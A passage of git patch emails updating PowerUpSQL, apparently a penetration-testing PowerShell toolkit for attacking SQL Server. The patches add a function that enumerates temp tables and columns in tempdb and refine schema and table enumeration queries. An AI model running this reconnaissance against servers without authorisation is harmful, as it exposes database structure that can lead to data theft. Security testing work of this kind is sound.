15:52:41 -0500 Subject: [PATCH 16/60] Update PowerUpSQL.ps1 Updated Get-SQLDatabaseSchema filters and structures. --- PowerUpSQL.ps1 | 33 ++++++++++++++++++++++++--------- 1 file changed, 24 insertions(+), 9 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 878f920..7bd4b19 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.110 + Version: 1.111 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -5559,9 +5559,13 @@ Function Get-SQLDatabaseSchema [string]$SchemaName, [Parameter(Mandatory = $false, - HelpMessage = "Don't select tables from default databases.")] + HelpMessage = "Don't select schemas from default databases.")] [switch]$NoDefaults, + [Parameter(Mandatory = $false, + HelpMessage = "Show database role based schemas. Hidden by default.")] + [switch]$ShowRoleSchemas, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -5640,13 +5644,20 @@ Function Get-SQLDatabaseSchema # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], - '$Instance' as [Instance], - CATALOG_NAME as [DatabaseName], - SCHEMA_NAME as [SchemaName], - SCHEMA_OWNER as [SchemaOwner] - FROM [$DbName].[INFORMATION_SCHEMA].[SCHEMATA] + '$Instance' as [Instance], + DB_NAME() AS database_name, + s.schema_id AS schema_id, + s.name AS schema_name, + s.principal_id AS owner_id, + USER_NAME(s.principal_id) AS owner_name + FROM + sys.schemas AS s + JOIN + [master].[INFORMATION_SCHEMA].[SCHEMATA] AS i + ON + s.name = i.SCHEMA_NAME $SchemaNameFilter - ORDER BY SCHEMA_NAME" + ORDER BY schema_name;" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose @@ -5659,7 +5670,11 @@ Function Get-SQLDatabaseSchema End { # Return data - $TblSchemas + if($ShowRoleSchemas){ + $TblResults + }else{ + $TblResults | Where schema_id -lt 1000 + } } } From 4eac7dafe3e794e56e8c1c4ef634746d417356a0 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 15 May 2024 16:00:05 -0500 Subject: [PATCH 17/60] Update PowerUpSQL.ps1 Update Get-SQLDatabaseSchema bug. --- PowerUpSQL.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 7bd4b19..3d651c7 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.111 + Version: 1.112 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -5653,7 +5653,7 @@ Function Get-SQLDatabaseSchema FROM sys.schemas AS s JOIN - [master].[INFORMATION_SCHEMA].[SCHEMATA] AS i + [$DbName].[INFORMATION_SCHEMA].[SCHEMATA] AS i ON s.name = i.SCHEMA_NAME $SchemaNameFilter From 4d827b9f0e21aa2fadacb6f430b1f81881722802 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 16 May 2024 08:06:18 -0500 Subject: [PATCH 18/60] Update Get-TempTableColumns.sql Updated query to condense data structure. --- templates/tsql/Get-TempTableColumns.sql | 28 ++++++++++++++----------- 1 file changed, 16 insertions(+), 12 deletions(-) diff --git a/templates/tsql/Get-TempTableColumns.sql b/templates/tsql/Get-TempTableColumns.sql index 6723861..4b7b42c 100644 --- a/templates/tsql/Get-TempTableColumns.sql +++ b/templates/tsql/Get-TempTableColumns.sql @@ -1,15 +1,19 @@ --- List temp tables, columns, and column types -SELECT t1.name as 'Table_Name', - t2.name as 'Column_Name', - t3.name as 'Column_Type', - t1.create_date, - t1.modify_date, - t1.parent_object_id, - OBJECT_ID(t1.parent_object_id) as parent_object, - (SELECT CASE WHEN (select len(t1.name) - len(replace(t1.name,'#',''))) > 1 THEN 1 ELSE 0 END) as GlobalTempTable, - (SELECT CASE WHEN t1.name like '%[_]%' AND (select len(t1.name) - len(replace(t1.name,'#',''))) = 1 THEN 1 ELSE 0 END) as LocalTempTable, - (SELECT CASE WHEN t1.name not like '%[_]%' AND (select len(t1.name) - len(replace(t1.name,'#',''))) = 1 THEN 1 ELSE 0 END) as TableVariable +SELECT + t1.name AS 'Table_Name', + t2.name AS 'Column_Name', + t3.name AS 'Column_Type', + CASE + WHEN (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t1.name LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t1.name NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE NULL + END AS Table_Type, + t1.is_ms_shipped, + t1.is_published, + t1.is_schema_published, + t1.create_date, + t1.modify_date FROM tempdb.sys.objects AS t1 JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id -WHERE t1.name like '#%'; +WHERE t1.name LIKE '#%'; From a8f4dde85ad6ebb480b3c63b015ba4f5cc3998a3 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 16 May 2024 08:08:00 -0500 Subject: [PATCH 19/60] Update Get-TempTableColumns.sql --- templates/tsql/Get-TempTableColumns.sql | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/templates/tsql/Get-TempTableColumns.sql b/templates/tsql/Get-TempTableColumns.sql index 4b7b42c..93bdcf8 100644 --- a/templates/tsql/Get-TempTableColumns.sql +++ b/templates/tsql/Get-TempTableColumns.sql @@ -1,3 +1,8 @@ +-- Script: Get-TempTableColumns.sql +-- Author: Scott Sutherland +-- Description: Return a list of all temp table types. +-- Include table variables, local temp tables, and global temp tables. + SELECT t1.name AS 'Table_Name', t2.name AS 'Column_Name', From cba0a5170da89ae5cdb3327a75730fd2276fd832 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 16 May 2024 08:23:37 -0500 Subject: [PATCH 20/60] Update PowerUpSQL.ps1 Added Get-SQLTableTemp function. Updated Invoke-SQLDumpInfo function. --- PowerUpSQL.ps1 | 244 +++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 206 insertions(+), 38 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 3d651c7..441b8ca 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.112 + Version: 1.113 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -4752,6 +4752,191 @@ Function Get-SQLTable } } +# ---------------------------------- +# Get-SQLTableTemp +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLTableTemp +{ + <# + .SYNOPSIS + Returns table information from target SQL Servers. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .EXAMPLE + PS C:\> Get-SQLTableTemp -Instance SQLServer1\STANDARDDEV2014 + + Table_Name : #B6E36D7A + Column_Name : SnapshotDataId + Column_Type : uniqueidentifier + Table_Type : TableVariable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/14/2024 6:09:48 PM + modify_date : 5/14/2024 6:09:48 PM + + Table_Name : #LocalTempTbl____________________________________________ + _________________________________________________________ + __00000000002D + Column_Name : Testing123 + Column_Type : text + Table_Type : LocalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:37:46 PM + modify_date : 5/15/2024 4:37:46 PM + + Table_Name : ##GlobalTempTbl + Column_Name : Spy_id + Column_Type : int + Table_Type : GlobalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:38:10 PM + modify_date : 5/15/2024 4:38:10 PM + + Table_Name : ##GlobalTempTbl + Column_Name : SpyName + Column_Type : text + Table_Type : GlobalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:38:10 PM + modify_date : 5/15/2024 4:38:10 PM + + Table_Name : ##GlobalTempTbl + Column_Name : RealName + Column_Type : text + Table_Type : GlobalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:38:10 PM + modify_date : 5/15/2024 4:38:10 PM + .EXAMPLE + PS C:\> Get-SQLInstanceDomain | Get-SQLTableTemp -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + $TblTables = New-Object -TypeName System.Data.DataTable + + # Setup table filter + if($TableName) + { + $TableFilter = " where table_name like '%$TableName%'" + } + else + { + $TableFilter = '' + } + } + + Process + { + # Note: Tables queried by this function can be executed by any login. + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose -Message "$Instance : Grabbing tables from databases below:" + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Define Query + $Query = "SELECT + t1.name AS 'Table_Name', + t2.name AS 'Column_Name', + t3.name AS 'Column_Type', + CASE + WHEN (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t1.name LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t1.name NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE NULL + END AS Table_Type, + t1.is_ms_shipped, + t1.is_published, + t1.is_schema_published, + t1.create_date, + t1.modify_date + FROM tempdb.sys.objects AS t1 + JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID + JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id + WHERE t1.name LIKE '#%';" + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Append results + $TblTables = $TblTables + $TblResults + } + + End + { + # Return data + $TblTables + } +} + # ---------------------------------- # Get-SQLColumn @@ -26652,7 +26837,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseUsers + # Getting Database Users Write-Verbose -Message "$Instance - Getting database users for databases..." $Results = Get-SQLDatabaseUser -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -26666,7 +26851,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabasePrivs + # Getting Database Privs Write-Verbose -Message "$Instance - Getting privileges for databases..." $Results = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -26680,7 +26865,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseRoles + # Getting Database Roles Write-Verbose -Message "$Instance - Getting database roles..." $Results = Get-SQLDatabaseRole -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -26708,7 +26893,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseTables + # Getting Database Schemas Write-Verbose -Message "$Instance - Getting database schemas..." $Results = Get-SQLDatabaseSchema -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -26722,7 +26907,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseTables + # Getting Temp Tables + Write-Verbose -Message "$Instance - Getting temp tables..." + $Results = Get-SQLTableTemp -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Database Tables Write-Verbose -Message "$Instance - Getting database tables..." $Results = Get-SQLTable -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -27056,38 +27255,7 @@ Function Invoke-SQLDumpInfo { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath - } - - # Getting temp table information - Write-Verbose -Message "$Instance - Getting temp table information..." - $Query = @' - -- List temp tables, columns, and column types - SELECT t1.name as 'Table_Name', - t2.name as 'Column_Name', - t3.name as 'Column_Type', - t1.create_date, - t1.modify_date, - t1.parent_object_id, - OBJECT_ID(t1.parent_object_id) as parent_object, - (SELECT CASE WHEN (select len(t1.name) - len(replace(t1.name,'#',''))) > 1 THEN 1 ELSE 0 END) as GlobalTempTable, - (SELECT CASE WHEN t1.name like '%[_]%' AND (select len(t1.name) - len(replace(t1.name,'#',''))) = 1 THEN 1 ELSE 0 END) as LocalTempTable, - (SELECT CASE WHEN t1.name not like '%[_]%' AND (select len(t1.name) - len(replace(t1.name,'#',''))) = 1 THEN 1 ELSE 0 END) as TableVariable - FROM tempdb.sys.objects AS t1 - JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID - JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id - WHERE t1.name like '#%'; -'@ - $Results = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - if($xml) - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.xml' - $Results | Export-Clixml $OutPutPath - } - else - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.csv' - $Results | Export-Csv -NoTypeInformation $OutPutPath - } + } Write-Verbose -Message "$Instance - END" } From 9a84ee4a5cbdd27653ef577fe099350ee91a0c90 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 16 May 2024 08:25:01 -0500 Subject: [PATCH 21/60] Update PowerUpSQL.psd1 Added Get-SQLTableTemp function. --- PowerUpSQL.psd1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index bafba87..6b6b2bb 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.104.14' + ModuleVersion = '1.105.0' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -82,6 +82,7 @@ 'Get-SQLStoredProcedureXp', 'Get-SQLSysadminCheck', 'Get-SQLTable', + 'Get-SQLTableTemp', 'Get-SQLTriggerDdl', 'Get-SQLTriggerDml', 'Get-SQLView', From 18ceabecd54b4a9b299656cf1c2bb7e6a1554d08 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 16 May 2024 08:31:59 -0500 Subject: [PATCH 22/60] Update PowerUpSQL.ps1 Added database and schema to Get-SQLTableTemp output. --- PowerUpSQL.ps1 | 42 ++++++++++++++++++++++-------------------- 1 file changed, 22 insertions(+), 20 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 441b8ca..da46569 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.113 + Version: 1.114 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -4903,25 +4903,27 @@ Function Get-SQLTableTemp } # Define Query - $Query = "SELECT - t1.name AS 'Table_Name', - t2.name AS 'Column_Name', - t3.name AS 'Column_Type', - CASE - WHEN (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' - WHEN t1.name LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' - WHEN t1.name NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' - ELSE NULL - END AS Table_Type, - t1.is_ms_shipped, - t1.is_published, - t1.is_schema_published, - t1.create_date, - t1.modify_date - FROM tempdb.sys.objects AS t1 - JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID - JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id - WHERE t1.name LIKE '#%';" + $Query = "SELECT 'tempdb' as 'Database_Name', + SCHEMA_NAME(t1.schema_id) AS 'Schema_Name', + t1.name AS 'Table_Name', + t2.name AS 'Column_Name', + t3.name AS 'Column_Type', + CASE + WHEN (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t1.name LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t1.name NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE NULL + END AS Table_Type, + t1.is_ms_shipped, + t1.is_published, + t1.is_schema_published, + t1.create_date, + t1.modify_date + FROM [tempdb].[sys].[objects] AS t1 + JOIN [tempdb].[sys].[columns] AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID + JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id + WHERE t1.name LIKE '#%'; + " # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose From 8d4cb04fb62d4b814445496c064f6d52d58ff1fd Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 16 May 2024 08:33:21 -0500 Subject: [PATCH 23/60] Update Get-TempTableColumns.sql Added database name and schema name. --- templates/tsql/Get-TempTableColumns.sql | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/templates/tsql/Get-TempTableColumns.sql b/templates/tsql/Get-TempTableColumns.sql index 93bdcf8..eb8bdb5 100644 --- a/templates/tsql/Get-TempTableColumns.sql +++ b/templates/tsql/Get-TempTableColumns.sql @@ -3,7 +3,8 @@ -- Description: Return a list of all temp table types. -- Include table variables, local temp tables, and global temp tables. -SELECT +SELECT 'tempdb' as 'Database_Name', + SCHEMA_NAME(t1.schema_id) AS 'Schema_Name', t1.name AS 'Table_Name', t2.name AS 'Column_Name', t3.name AS 'Column_Type', @@ -18,7 +19,7 @@ SELECT t1.is_schema_published, t1.create_date, t1.modify_date -FROM tempdb.sys.objects AS t1 -JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID +FROM [tempdb].[sys].[objects] AS t1 +JOIN [tempdb].[sys].[columns] AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id -WHERE t1.name LIKE '#%'; +WHERE t1.name LIKE '#%' From 61f836bf6d5d293c7399a0ddeae04d0e8b2b58bb Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 16 May 2024 16:46:47 -0500 Subject: [PATCH 24/60] Update PowerUpSQL.ps1 Added computer name to Get-SQLTableTemp function output. --- PowerUpSQL.ps1 | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index da46569..fc68e19 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.114 + Version: 1.115 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -4903,17 +4903,18 @@ Function Get-SQLTableTemp } # Define Query - $Query = "SELECT 'tempdb' as 'Database_Name', + $Query = "SELECT SERVERPROPERTY('MachineName') as Computer_Name, + 'tempdb' as 'Database_Name', SCHEMA_NAME(t1.schema_id) AS 'Schema_Name', t1.name AS 'Table_Name', - t2.name AS 'Column_Name', - t3.name AS 'Column_Type', CASE WHEN (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' WHEN t1.name LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' WHEN t1.name NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' ELSE NULL END AS Table_Type, + t2.name AS 'Column_Name', + t3.name AS 'Column_Type', t1.is_ms_shipped, t1.is_published, t1.is_schema_published, From df0601d9145bf0ec86e087241fa6cbee4f30c7f3 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 16 May 2024 16:56:20 -0500 Subject: [PATCH 25/60] Update PowerUpSQL.ps1 Added instance to get-sqltabletemp output. --- PowerUpSQL.ps1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index fc68e19..b0a7464 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.115 + Version: 1.116 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -4904,6 +4904,7 @@ Function Get-SQLTableTemp # Define Query $Query = "SELECT SERVERPROPERTY('MachineName') as Computer_Name, + @@SERVERNAME AS Instance, 'tempdb' as 'Database_Name', SCHEMA_NAME(t1.schema_id) AS 'Schema_Name', t1.name AS 'Table_Name', From 59049edca7901c5ddcda80ce6d98258d002f6413 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 08:13:48 -0500 Subject: [PATCH 26/60] Update PowerUpSQL.ps1 Updated table_type logic in get-sqltable. --- PowerUpSQL.ps1 | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index b0a7464..746f35a 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.116 + Version: 1.117 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -4732,7 +4732,12 @@ Function Get-SQLTable TABLE_CATALOG AS [DatabaseName], TABLE_SCHEMA AS [SchemaName], TABLE_NAME as [TableName], - TABLE_TYPE as [TableType] + CASE + WHEN (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE TABLE_TYPE + END AS Table_Type FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] $TableFilter ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" From 5872eb8b1008903e49d08e90cb010cd922e6b66b Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 08:15:55 -0500 Subject: [PATCH 27/60] Update Get-Table.sql --- templates/tsql/Get-Table.sql | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/templates/tsql/Get-Table.sql b/templates/tsql/Get-Table.sql index de35c94..95b4701 100644 --- a/templates/tsql/Get-Table.sql +++ b/templates/tsql/Get-Table.sql @@ -4,5 +4,11 @@ SELECT TABLE_CATALOG AS [DATABASE_NAME], TABLE_SCHEMA AS [SCHEMA_NAME], - TABLE_NAME,TABLE_TYPE -FROM [INFORMATION_SCHEMA].[TABLES] \ No newline at end of file + TABLE_NAME, + CASE + WHEN (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(TABLE_NAME) - LEN(REPLACE(TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE TABLE_TYPE + END AS Table_Type +FROM [INFORMATION_SCHEMA].[TABLES] From b220f35a03c63f467ce81afd807dbdf1f9edeb6c Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 20 May 2024 08:30:01 -0500 Subject: [PATCH 28/60] Update PowerUpSQL.ps1 Extended object properties of get-sqltable function. --- PowerUpSQL.ps1 | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 746f35a..902c2ee 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.117 + Version: 1.118 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -4660,7 +4660,7 @@ Function Get-SQLTable # Setup table filter if($TableName) { - $TableFilter = " where table_name like '%$TableName%'" + $TableFilter = " WHERE TABLE_NAME like '%$TableName%'" } else { @@ -4729,17 +4729,24 @@ Function Get-SQLTable $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - TABLE_CATALOG AS [DatabaseName], - TABLE_SCHEMA AS [SchemaName], - TABLE_NAME as [TableName], + t.TABLE_CATALOG AS [DATABASE_NAME], + t.TABLE_SCHEMA AS [SCHEMA_NAME], + t.TABLE_NAME AS [TABLE_NAME], CASE - WHEN (SELECT CASE WHEN LEN(TABLE_NAME) 